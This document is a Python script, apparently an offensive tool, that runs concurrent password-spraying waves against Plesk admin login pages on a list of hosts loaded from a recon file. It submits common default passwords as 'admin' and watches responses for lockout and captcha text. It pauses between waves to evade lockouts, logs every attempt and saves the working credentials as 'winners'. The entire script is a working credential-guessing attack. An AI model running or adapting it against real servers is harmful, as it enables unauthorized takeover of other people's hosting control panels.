import asyncio, re, time
import aiohttp

SEM = asyncio.Semaphore(18)
WAVES = [["admin", "password", "Plesk1234!", "123456"],
         ["qwerty", "Passw0rd!", "plesk123", "welcome"]]
LOCK = ("too many failed", "brute force", "captcha")


def load():
    out = []
    for line in open("/root/recon/lists/zimbra.txt"):
        p = line.rstrip("\n").split("\t")
        if len(p) >= 3:
            out.append((p[0], int(p[1]), p[2]))
    return out


async def get_form(sess, base):
    async with sess.get(base + "/login_up.php", ssl=False) as r:
        html = await r.text()
    f = dict(re.findall(r'<input[^>]*name="([^"]+)"[^>]*value="([^"]*)"', html))
    for k in ("login_name", "passwd"):
        f.pop(k, None)
    f.setdefault("locale_id", "en-US")
    return f


async def post_login(sess, base, fields, user, pwd):
    d = dict(fields)
    d["login_name"] = user
    d["passwd"] = pwd
    async with sess.post(base + "/login_up.php", data=d, ssl=False, allow_redirects=False) as r:
        body = await r.text()
        loc = r.headers.get("Location") or ""
    low = body.lower()
    ok = r.status in (301, 302, 303) and "login" not in loc.lower()
    lock = any(x in low for x in LOCK)
    return ok, lock, r.status, loc[:60]


async def host_run(sess, h, pwlist, winners, stats, log):
    ip, port, sc = h
    bases = [f"{sc}://{ip}:{port}", f"{'https' if sc == 'http' else 'http'}://{ip}:{port}"]
    fields = None
    base = bases[0]
    for b in bases:
        try:
            fields = await get_form(sess, b)
            base = b
            break
        except Exception:
            continue
    if fields is None:
        stats["err"] += 1
        log.write(f"{ip}\t{port}\tERR\tconnect\n")
        return
    for pwd in pwlist:
        try:
            ok, lock, st, loc = await post_login(sess, base, fields, "admin", pwd)
        except Exception as e:
            stats["err"] += 1
            log.write(f"{ip}\t{port}\tERR\t{type(e).__name__}\n")
            return
        stats["try"] += 1
        log.write(f"{ip}\t{port}\t{st}\t{loc}\t{pwd}\t{'OK' if ok else ''}\n")
        if ok:
            winners.append((ip, port, "admin", pwd, st, loc))
            print(f"!! LOGIN {ip}:{port} admin/{pwd} st={st} loc={loc}", flush=True)
            return
        if lock:
            stats["lock"] += 1
            print(f"~~ lock {ip} after admin/{pwd}", flush=True)
            return
        await asyncio.sleep(0.4)


async def main():
    hosts = load()
    print("hosts", len(hosts), flush=True)
    tout = aiohttp.ClientTimeout(total=25, connect=8, sock_read=15)
    winners = []
    log = open("/root/recon/plesk_tries.tsv", "a")
    async with aiohttp.ClientSession(timeout=tout, headers={"User-Agent": "Mozilla/5.0"}) as sess:
        for wi, pwlist in enumerate(WAVES):
            stats = {"try": 0, "lock": 0, "err": 0}
            t0 = time.time()

            async def guarded(h):
                async with SEM:
                    await host_run(sess, h, pwlist, winners, stats, log)

            await asyncio.gather(*[guarded(h) for h in hosts])
            log.flush()
            print(f"wave{wi+1} {time.time()-t0:.0f}s tries={stats['try']} locks={stats['lock']} err={stats['err']} wins={len(winners)}", flush=True)
            if wi < len(WAVES) - 1:
                print("sleep 420s", flush=True)
                await asyncio.sleep(420)
    log.close()
    open("/root/recon/plesk_winners.tsv", "w").write("\n".join("\t".join(map(str, w)) for w in winners))
    print("WINS:", winners, flush=True)

asyncio.run(main())
